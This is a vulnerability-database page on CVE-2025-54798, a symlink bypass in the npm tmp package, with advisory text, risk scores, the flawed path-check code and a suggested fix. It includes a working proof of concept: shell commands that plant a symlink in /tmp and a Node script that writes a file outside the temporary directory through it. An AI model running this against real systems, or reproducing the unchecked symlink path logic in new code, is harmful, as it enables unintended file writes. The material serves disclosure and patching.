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Not in CISA KEV
LOW severity

CVE-2025-54798 — tmp

LOWFix: raszi/node-tmp@188b25e

CVE-2025-54798 is a low-severity (CVSS 2.5) CWE-59 vulnerability in tmp. A fix is available for tmp — see the affected versions and patch details below.

tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter

Also known asGHSA-52f5-9888-hmc6
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-54798.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs32th percentile — riskier than 32% of all scored CVEsHighest risk
0.00%0.29%0.58%0.88%0.1%0.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

6Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
tmpnpm
112.1Mdownloads / week

Description

Summary

[email protected] is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i [email protected]

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmtmpall versions0.2.4npm install tmp@0.2.4

Affected Products

1 product · 1 configurations
Application
tmpraszi
< 0.2.4
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tmp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update tmp to 0.2.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54798 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatLow

This issue was rated as low because, while a symbolic link can be used to create files outside the intended temporary directory, exploitation requires local access and specific setup. The impact is limited to modifying files in specific locations, with no effect on sensitive information or system availability, which…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
Source: Red Hat security advisory for CVE-2025-54798 (CC BY 4.0)

Frequently Asked Questions

### Summary `[email protected]` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter. ### Details According to the documentation there are some conditions that must be held: ``` // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50 Other breaking changes, i.e. - template must be relative to tmpdir - name must be relative to tmpdir - dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks are still in place. In order to override the system's tmpdir, you will have to use the newly introduced tmpd
O3 Security · Impact-Aware SCA

Is CVE-2025-54798 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2025-54798: tmp — Fixed in 0.2.4